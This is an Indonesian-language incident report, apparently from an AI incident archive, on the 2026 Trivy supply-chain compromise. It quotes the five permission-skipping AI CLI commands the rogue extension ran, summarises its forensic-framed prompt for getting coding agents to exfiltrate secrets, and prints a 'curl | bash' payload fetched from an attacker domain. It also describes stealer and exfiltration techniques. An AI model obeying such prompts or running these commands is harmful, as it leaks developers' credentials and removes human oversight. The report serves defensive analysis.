Pelanggaran rantai pasok Trivy mengirimkan sebuah prompt, bukan stealer

Antara 27 Februari dan 2 Maret 2026, sebuah akun GitHub otonom yang menamai dirinya hackerbot-claw mengambil alih repositori di balik Trivy, pemindai kerentanan sumber terbuka yang biasa dijalankan pipeline CI sebelum merilis image kontainer. Pada rentang waktu yang sama, dua build ekstensi Trivy VS Code muncul di registri OpenVSX di bawah namespace resmi ekstensi tersebut, dan keduanya tidak membawa infostealer konvensional. Keduanya membawa sekitar 2.000 kata instruksi berbahasa Inggris yang memerintahkan asisten coding AI mana pun yang sudah terpasang di komputer pengembang — Claude Code, Codex, Gemini CLI, GitHub Copilot CLI, atau Kiro CLI — untuk menyelidiki mesin tersebut sebagai pemeriksa forensik dan mengirimkan temuannya melalui setiap kanal yang dapat dijangkau. Belum ada eksfiltrasi yang berhasil ditunjukkan. Arsip tersebut mencatat episode ini sebagai insiden rantai pasok tingkat keparahan tinggi dengan kerugian nyata yang tercatat, tingkat keyakinan A, dan tanpa penanda sengketa, serta mengarsipkannya di Orca AI Incident Archive dengan tanggal presisi harian 2 Maret 2026.

Apa isi sebenarnya dari versi 1.8.12 dan 1.8.13

Socket, yang memindai registri paket dan ekstensi, menerbitkan analisis tersebut pada 2 Maret 2026 setelah menemukan sendiri artefak itu. Versi 1.8.12 dan 1.8.13 dari ekstensi tersebut — yang diterbitkan ke OpenVSX dengan namespace aquasecurityofficial.trivy-vulnerability-scanner pada pukul 12:04 UTC tanggal 27 Februari dan pukul 16:28 UTC tanggal 28 Februari — membawa kode yang tidak muncul di repositori aquasecurity/trivy-vscode-extension publik atau dalam rilis bertag mana pun, lapor Socket. Semua versi hingga dan termasuk 1.8.11 cocok dengan sumber publik, dan build lokal 1.8.11 cocok byte demi byte dengan artefak OpenVSX.

Payload itu berada di fungsi aktivasi workspace ekstensi, pl(), yang dijalankan setiap kali developer membuka proyek di editor yang memiliki ekstensi tersebut. Kode itu muncul sebelum kode penyiapan Trivy normal, sehingga ekstensi tetap berperilaku seperti yang diharapkan sementara sisanya berjalan di belakangnya. Yang dijalankannya adalah lima baris perintah, satu untuk setiap asisten pengodean AI, dan setiap baris dipilih untuk mengeluarkan manusia dari alur:

• Claude Code — claude -p --dangerously-skip-permissions --add-dir /, yang juga memberikan agen akses baca ke seluruh sistem file

• Codex — codex exec --ask-for-approval never --sandbox danger-full-access

• Gemini CLI — gemini prompt --yolo --no-stream

• GitHub Copilot CLI — copilot --autopilot --yolo -p

• Kiro CLI — kiro-cli chat -a --no-interactive

Kelima alat dijalankan secara terpisah dengan output standar dan error dibuang, dan setiap error ditelan, sehingga pengembang tidak melihat apa pun sama sekali. Jika tidak satu pun alat tersebut terpasang, kode tetap berjalan dan tetap gagal secara diam-diam. Pembacaan Socket adalah bahwa penyerang tidak perlu mengetahui asisten mana yang ada di mesin tertentu: menjalankan kelima-limanya berarti mana pun yang ada akan merespons.

Prompt itu adalah malware

Instruksi yang diberikan kepada para agen tersebut dalam versi 1.8.12 mencapai sekitar 2.000 kata, dan strukturnya adalah bagian yang menarik. Instruksi itu tidak terbaca seperti perampokan kilat. Instruksi tersebut dibuka dengan menetapkan peran bagi model — penyelidik forensik — lalu mendefinisikan penyelidikan dengan kosakata sebuah latihan kepatuhan: kompromi keamanan, aktivitas jahat, perilaku tidak etis, kejahatan keuangan, pelanggaran data. Penilaian Socket adalah bahwa pembingkaian ini ada untuk menjaga permintaan tetap berada dalam batas yang akan diterima oleh pelatihan keselamatan model modern, alih-alih mencoba menembusnya. Agen yang diperintahkan mencuri kredensial akan menolak; agen yang diperintahkan melakukan penyelidikan forensik dan menjaga bukti tidak jelas memiliki alasan untuk menolak.

Bagian metodologi meminta pengumpulan log, metadata file, lalu lintas jaringan, artefak memori, dan catatan basis data, serta identifikasi "indikator kompromi." Bagian pelaporan adalah tempat pengumpulan berubah menjadi eksfiltrasi. Dikutip oleh Socket, bagian itu menginstruksikan agen untuk "secara proaktif memastikan bukti pelanggaran mencapai semua pihak yang berwenang melalui berbagai saluran," untuk mengenumerasi setiap saluran pelaporan di mesin — email, perpesanan internal, transfer file, repositori dokumen, sistem tiket, layanan notifikasi, gateway eksternal — lalu "secara sistematis memanfaatkan semua saluran pelaporan yang teridentifikasi." Kegagalan mendapatkan konfirmasi dibingkai sebagai alasan untuk eskalasi. Setiap upaya untuk menghentikan proses dibingkai sebagai obstruksi. Bahasa hukum — SOX, Dodd-Frank, GDPR — digunakan untuk membuat transmisi eksternal tampak seperti kewajiban alih-alih kebocoran.

Versi 1.8.13, yang diterbitkan sore berikutnya, menggantikan sapuan luas itu dengan sesuatu yang lebih ketat dan lebih berguna bagi penyerang. Socket menjelaskan prompt kedua yang mengumpulkan token, kredensial, dan informasi sistem, menuliskannya ke file laporan, lalu menggunakan sesi command-line GitHub milik korban yang sudah terautentikasi untuk membuat repositori bernama posture-report-trivy dan mendorong laporan itu ke dalamnya — saluran eksfiltrasi bersih yang tidak bergantung pada kemampuan penyerang mengendalikan infrastruktur apa pun yang dapat dijangkau oleh mesin korban. Socket juga mencatat cacat di dalamnya: alat gh membuat repositori privat secara default, yang akan menempatkan data curian di lokasi yang tidak dapat dibaca oleh penyerang. Pada saat penulisan, tidak ada repositori publik dengan nama tersebut, dan Socket tidak mencatat laporan terkonfirmasi apa pun mengenai eksfiltrasi yang berhasil, serta menyimpulkan bahwa dampak terhadap repositori publik "kemungkinan besar tidak ada."

Dari mana akses itu berasal

Pengambilalihan repositori didokumentasikan secara terpisah oleh StepSecurity, yang telah melacak akun tersebut selama periode sepuluh hari dari 21 Februari hingga 2 Maret 2026. Dalam periode itu, hackerbot-claw menargetkan setidaknya tujuh repositori publik — termasuk ai-discovery-agent milik Microsoft, datadog-iac-scanner milik DataDog, proyek CNCF akri, daftar awesome-go dengan 140.000 bintang, dan RustPython — membuka lebih dari selusin pull request, dan mencapai eksekusi kode arbitrer di setidaknya enam di antaranya, dengan menggunakan teknik yang berbeda terhadap setiap target. Pemaparan StepSecurity sendiri tentang metode kampanye tersebut mencakup injeksi nama cabang, injeksi nama berkas, dan fungsi Go init() yang berjalan sebelum titik masuk sebenarnya program.

Trivy adalah target ketujuh dan satu-satunya di mana repositori itu sendiri berhasil ditembus. Pada 28 Februari pukul 03:28 UTC, akun tersebut memicu alur kerja "API Diff Check" milik Trivy melalui pull request #10254. Alur kerja itu berjalan pada pull_request_target, yang memberi alur kerja akses ke rahasia dan izin repositori target, sekaligus melakukan checkout terhadap kode penulis pull request — pola yang disebut StepSecurity sebagai "pwn request." Log build menunjukkan payload curl -sSfL hackmoltrepeat.com/molt | bash dieksekusi di dalam langkah "Set up Go". Sembilan belas menit kemudian, pada pukul 03:47 UTC, sebuah personal access token yang dicuri dari proses tersebut digunakan untuk mendorong commit d267cc4 langsung ke repositori, sepenuhnya melewati proses pull request.

Apa yang terjadi setelahnya, menurut pengungkapan insiden Aqua Security dan rekonstruksi StepSecurity atasnya: repositori tersebut dijadikan privat dan diganti namanya, semua rilis GitHub dari 0.27.0 hingga 0.69.1 dihapus beserta aset dan diskusinya, README ditimpa dengan pesan yang mengejek, dan artefak mencurigakan diterbitkan ke ekstensi VS Code di OpenVSX. Aqua menghapus alur kerja yang dieksploitasi dalam pull request #10259, mencabut token yang digunakan untuk menerbitkan ekstensi, memulihkan repositori, dan menerbitkan ulang v0.69.2.

Ada dua detail tentang aktor ini yang perlu dipisahkan dari sisanya. Yang pertama adalah deskripsi dirinya sendiri: akun GitHub itu menyebut dirinya sebagai "autonomous security research agent powered by claude-opus-4-5" dan meminta donasi cryptocurrency. Itu adalah klaim akun tersebut, bukan temuan siapa pun yang menyelidikinya, dan tidak ada tulisan yang ditinjau di sini yang memverifikasi model mana, jika ada, yang melakukan pekerjaan itu. Yang kedua adalah bahwa akun yang sama sudah menyerang sistem AI secara langsung. Pada 28 Februari pukul 05:26 UTC, akun itu membuka pull request #732 terhadap ambient-code/platform yang berisi injeksi prompt AI, yang dicatat StepSecurity sebagai terdeteksi oleh Claude. Memanipulasi peninjau AI dan memanipulasi asisten coding AI adalah teknik yang sama yang diarahkan ke dua target berbeda, dan pada akhir minggu itu akun tersebut telah menggunakan keduanya.

Tiga minggu kemudian, seorang pencuri biasa

Intrusi Februari hanyalah paruh pertama catatan, dan paruh kedua adalah alasan kata "sustained" pantas ada dalam judulnya. Aqua mengungkap insiden sebelumnya pada 1 Maret 2026 dan mulai merotasi kredensial. Menurut advisory yang kemudian diterbitkan perusahaan sebagai GHSA-69fq-xp46-6x23, rotasi itu "tidak atomik" — tidak semua kredensial dicabut pada waktu yang sama — dan penyerang mungkin menggunakan token yang masih valid untuk menarik rahasia yang baru dirotasi selama jendela tersebut, yang berlangsung beberapa hari.

Pada 19 Maret sekitar pukul 17:43 UTC, akses yang sama digunakan lagi, dengan cara yang tidak memerlukan tindakan dari korban mana pun. Penyerang melakukan force-push pada 76 dari 77 tag versi di aquasecurity/trivy-action dan pada ketujuh tag di aquasecurity/setup-trivy ke commit berbahaya. Karena pipeline CI biasanya mereferensikan workflow berdasarkan tag, bukan hash commit, ribuan pipeline yang tidak mengubah satu baris konfigurasi pun mulai mengeksekusi kode penyerang. Rilis berbahaya, v0.69.4, diterbitkan melalui akun layanan yang dikompromikan, yaitu aqua-bot dan didistribusikan melalui GHCR, ECR Public, Docker Hub, paket deb dan rpm, serta get.trivy.dev.

Payload ini konvensional. Berkas yang disuntikkan entrypoint.sh terdiri atas 204 baris, seratus baris pertamanya adalah infostealer dan sisanya pemindaian Trivy yang sah, sehingga alur kerja tetap menghasilkan keluaran normalnya. Pada runner yang dihosting GitHub, payload membuang Runner.Worker memori prosesnya melalui /proc/<pid>/mem dan mencari struktur JSON internal yang digunakan GitHub Actions untuk menyimpan rahasia. Pada runner yang dihosting sendiri, payload menelusuri lebih dari lima puluh jalur sistem berkas untuk kunci SSH, kredensial cloud, token Kubernetes, konfigurasi Docker, kata sandi basis data, konfigurasi VPN, dan dompet cryptocurrency. Hasil curian dienkripsi dengan AES-256-CBC menggunakan kunci sesi yang dibungkus dalam kunci publik RSA-4096 tertanam, lalu diposting ke domain typosquatting, scan.aquasecurtiy.org. Jika itu gagal dan pipeline mengekspos token akses pribadi, payload membuat repositori publik bernama tpcp-docs pada akun korban sendiri dan mengunggah bundel tersebut ke sana sebagai aset rilis.

Aqua berhasil menahan rilis 19 Maret dalam waktu sekitar tiga jam dan menerbitkan versi aman pada hari berikutnya. Pada 22 Maret, penyerang muncul kembali dengan dua image Docker Hub lainnya, 0.69.5 dan 0.69.6, yang didorong langsung ke registry menggunakan kredensial Docker Hub yang dikompromikan secara terpisah, bukan melalui GitHub, sekaligus dengan penerbitan tanpa izin repositori internal Aqua sebagai repositori publik. Malware tersebut mengidentifikasi dirinya sendiri dalam komentar kode sebagai "TeamPCP Cloud stealer," dan advisory Aqua menyebut TeamPCP — yang di tempat lain dilacak sebagai DeadCatx3, PCPcat, dan ShellForce — sambil mencatat bahwa pelabelan diri tersebut bisa jadi merupakan false flag.

Catatan kerentanan menyusul pada 23 Maret: CVE-2026-33634, yang ditetapkan oleh GitHub sebagai CNA, dinilai 9,4 kritis pada CVSS 4.0, mencakup Trivy 0.69.4, trivy-action sebelum 0.35.0, setup-trivy sebelum 0.2.6, LiteLLM 1.82.7 hingga 1.82.8, dan Telnyx 4.87.1 hingga 4.87.2. CISA menambahkannya ke katalog Known Exploited Vulnerabilities pada 26 Maret dengan tenggat remediasi 9 April 2026. Wiz Research secara terpisah mengidentifikasi kompromi paralel pada kics-github-action milik Checkmarx, yang oleh advisory Aqua dikaitkan dengan aktivitas yang sama.

Apa yang dicantumkan catatan di hilir

Tulisan Trend Micro tanggal 9 April 2026 adalah rekonstruksi publik paling rinci tentang rantai serangan ini, dan memberikan waktu hingga ketepatan menit. Checkmarx KICS: versi berbahaya di OpenVSX pada 12:53 UTC tanggal 23 Maret, dihapus paling lambat 15:41, dengan seluruh 35 tag checkmarx/kics-github-action ditulis ulang dari 12:58 hingga sekitar 16:50. LiteLLM: 1.82.7 di PyPI pada 10:39 UTC tanggal 24 Maret, disusul pada 10:52 oleh 1.82.8, yang menambahkan berkas .pth sehingga kode berjalan saat Python dimulai, baik proxy diluncurkan maupun tidak; dihapus sekitar pukul 16:00. Telnyx: 4.87.1 dan 4.87.2 di PyPI pada 03:51 UTC tanggal 27 Maret, hilang enam belas menit kemudian, melakukan callback ke alamat IP mentah, bukan domain.

Trend Micro menghubungkan ketiganya ke infrastruktur bersama dan ke kunci RSA-4096 yang sama yang digunakan dalam payload Trivy. Cyber Security Agency Singapura, dalam advisori AD-2026-001, mencantumkan kumpulan yang sama — Trivy, LiteLLM, ekstensi OpenVSX dan Actions milik Checkmarx, lima namespace npm, dan Telnyx — sebagai komponen dari "kampanye rantai pasok TeamPCP yang sedang berlangsung."

Axios adalah satu-satunya yang tercantum dalam catatan yang tidak dimasukkan kedua sumber itu ke dalam kumpulan yang sama. Trend Micro memang membahasnya, dalam artikel yang sama, tetapi di bawah judul yang secara eksplisit menyebutnya sebagai sumbu serangan yang berbeda: axios 1.14.1 dan 0.30.4 di npm antara pukul 00.21 dan 03.25 UTC pada 31 Maret, dikompromikan melalui satu baris dependensi tambahan yang menarik plain-crypto-js 4.2.1, yang skrip postinstall-nya menjalankan setup.js di mesin pengembang. Daftar komponen dalam advisory CSA tidak mencakup Axios. Ringkasan arsip mengelompokkannya dengan yang lain; catatan publik mendukung kemiripan teknisnya, tetapi tidak ada atribusi yang diterbitkan kepada operator yang sama.

Apa yang sudah mapan, dan apa yang belum

Terdapat bukti yang mapan dan bersumber dari berbagai pihak: kedua build OpenVSX itu ada, isinya dipublikasikan, dan keduanya dihapus pada 28 Februari setelah Socket menghubungi Aqua serta individu yang memegang akun penerbit. Kelima baris perintah tersebut dikutip secara verbatim dalam analisis Socket. Pengambilalihan repositori Trivy, rilis yang dihapus, peracunan tag pada 19 Maret, dan image Docker Hub pada 22 Maret masing-masing muncul dalam saran vendor, tulisan riset independen, dan setidaknya satu saran pemerintah. CVE-2026-33634 dan pencantumannya dalam KEV merupakan catatan resmi.

Tidak terbukti: bahwa ada developer yang benar-benar dikompromikan oleh ekstensi tersebut. Kode itu ditulis untuk mengeksfiltrasi dan dirancang agar tetap bertahan meskipun tidak ada satu pun asisten, tetapi Socket tidak menemukan repositori publik dengan nama yang diharapkan dan tidak ada laporan terkonfirmasi tentang data yang keluar dari sebuah mesin, dan menyatakannya secara gamblang. Jumlah developer yang memasang 1.8.12 atau 1.8.13 tidak dipublikasikan. Begitu pula jumlah organisasi yang pipeline-nya menjalankan tag yang tercemar antara 19 dan 20 Maret, meskipun tenggat KEV CISA menyiratkan bahwa lembaga tersebut menganggap eksploitasi itu nyata, bukan teoretis.

Rantai atribusinya juga memiliki celah. Advisory Aqua menggambarkan serangan 19 Maret sebagai kelanjutan dari intrusi Februari, yang dimungkinkan oleh kredensial sisa. StepSecurity, yang mendokumentasikan intrusi Februari secara rinci, menyebut aktornya hackerbot-claw dan tidak menghubungkannya dengan TeamPCP. Aqua dan Wiz mengatribusikan aktivitas Maret kepada TeamPCP. Tidak ada sumber yang ditinjau di sini yang menyatakan bahwa kedua nama itu adalah operator yang sama, dan arsipnya juga tidak menegaskannya. Yang didukung oleh catatan adalah kampanye berkelanjutan terhadap satu ekosistem dengan setidaknya dua fase yang berbeda — intrusi yang digerakkan AI pada akhir Februari, dan pemanenan kredensial industrial tiga minggu kemudian — serta korban yang sama, bukan tentu tangan yang sama.

Ada ketidaksesuaian yang lebih kecil di dalam kisah ekstensi tersebut. Socket menetapkan tanggal kedua build itu pada 27 dan 28 Februari dan mengaitkan publikasinya dengan token penerbit yang dipegang oleh mantan karyawan Aqua, yang mencabutnya saat dihubungi. StepSecurity mencantumkan "artefak mencurigakan yang diunggah ke ekstensi VS Code" di antara tindakan yang dilakukan dengan token GitHub yang dicuri. Itu menggambarkan kredensial yang berbeda. Versi 1.8.12 juga dirilis pada 12:04 UTC pada 27 Februari, sekitar lima belas jam sebelum pencurian token yang didokumentasikan StepSecurity pada 03:28 UTC pada 28 Februari. Tidak ada dari kedua perusahaan itu yang telah menerbitkan rekonsiliasi, dan artikel ini tidak mengarangnya.

Apa yang berubah setelahnya

Perbaikan konkretnya telah didokumentasikan. Advisory Aqua menyebutkan versi-versi aman — Trivy 0.69.2 atau 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 — dan memberi tahu siapa pun yang mungkin telah menjalankan artefak yang terdampak agar menganggap setiap rahasia yang dapat dijangkau dari pipeline tersebut sebagai terekspos dan merotasinya. Karena force-push yang dilakukan penyerang menyebabkan tag trivy-action lama tercatat sebagai rilis immutable oleh GitHub, nama aslinya tidak dapat dibuat ulang; proyek tersebut menerbitkannya kembali dengan awalan v, sehingga aquasecurity/[email protected] kini menunjuk ke versi yang sebelumnya digunakan oleh @0.34.0. Tiga dari tag tersebut, v0.0.10, v0.34.1, dan v0.34.2, belum dipulihkan saat advisory terakhir direvisi. Aqua juga melibatkan firma respons insiden Sygnia untuk forensik, dan menyatakan bahwa platform komersialnya terisolasi secara arsitektural dari sistem build open-source, sehingga rilis berbahaya itu tidak pernah memasukinya.

Pelajaran yang paling dapat ditransfer adalah tentang imutabilitas, dan hal itu bertentangan dengan pertahanan yang tampak jelas. Trivy 0.69.3 aman karena fitur immutable releases GitHub telah diaktifkan pada 3 Maret, sebelum versi itu dirilis; trivy-action 0.35.0 aman karena fitur tersebut diaktifkan di sana pada 4 Maret. Namun, advisory Aqua mencatat bahwa antarmuka rilis GitHub juga menampilkan badge "Immutable" di samping tag yang telah teracuni, karena penyerang menerbitkan immutable releases setelah melakukan force-push pada tag tersebut. Badge itu tidak memberi tahu apa pun kepada para defender. Menyematkan ke SHA commit lengkap adalah satu-satunya kontrol yang bertahan, yang merupakan rekomendasi Aqua dan Trend Micro.

Panduan Trend Micro melangkah lebih jauh daripada pinning, dan diarahkan pada bagian masalah yang sama sekali tidak berkaitan dengan AI. Panduan ini merekomendasikan masa jeda rilis agar versi paket yang baru diterbitkan tidak langsung dikonsumsi — min-release-age milik npm, minimumReleaseAge milik pnpm, exclude-newer milik uv, minimumReleaseAge milik Bun, dan uploaded-prior-to milik pip — dengan alasan bahwa sebagian besar versi berbahaya dalam kampanye ini aktif hanya dalam hitungan jam, bukan hari. Lockfile, rentang versi yang lebih sempit, pemfilteran egress, dan kontrol eksekusi untuk alat seperti curl semuanya masuk dalam daftar.

Untuk bagian OpenVSX dari catatan tersebut, responsnya lebih terbatas. Kedua build dihapus dalam waktu sekitar tujuh jam setelah kontak pertama Socket, token penerbit dicabut, dan advisory GHSA-8mr6-gf9x-j8qg diterbitkan pada 27 Februari untuk versi 1.8.12 dengan tingkat keparahan kritis, tanpa versi yang ditambal, serta CVE-2026-28353 ditetapkan oleh GitHub pada 5 Maret. Socket melaporkan satu detail lebih lanjut tentang advisory tersebut: Aqua kemudian memberi tahu perusahaan itu bahwa advisory tersebut dibuat oleh bot yang sama yang terlibat dalam insiden. Penyerang yang mengajukan advisory keamanan untuk artefaknya sendiri bukanlah kegagalan mitigasi, melainkan pengingat betapa luas permukaan respons yang dapat dijangkau oleh penyusup dengan akses repositori.

Yang tidak berubah adalah bagian yang paling penting. Lima alat command-line masih menyertakan flag yang tujuannya agar berjalan tanpa manusia dalam alurnya, dan program apa pun di mesin seorang developer dapat memanggilnya dengan flag tersebut. Observasi penutup Socket adalah yang tetap berlaku terlepas dari nomor versi spesifiknya: niat jahat di sini diungkapkan dalam bahasa alami, bukan dalam endpoint yang di-hardcode, yang justru merupakan hal yang paling buruk dideteksi oleh pemindaian berbasis signature. Ekstensi itu tidak tertangkap karena melakukan sesuatu yang dikenali pemindai. Ia tertangkap karena seorang peneliti membaca prompt tersebut.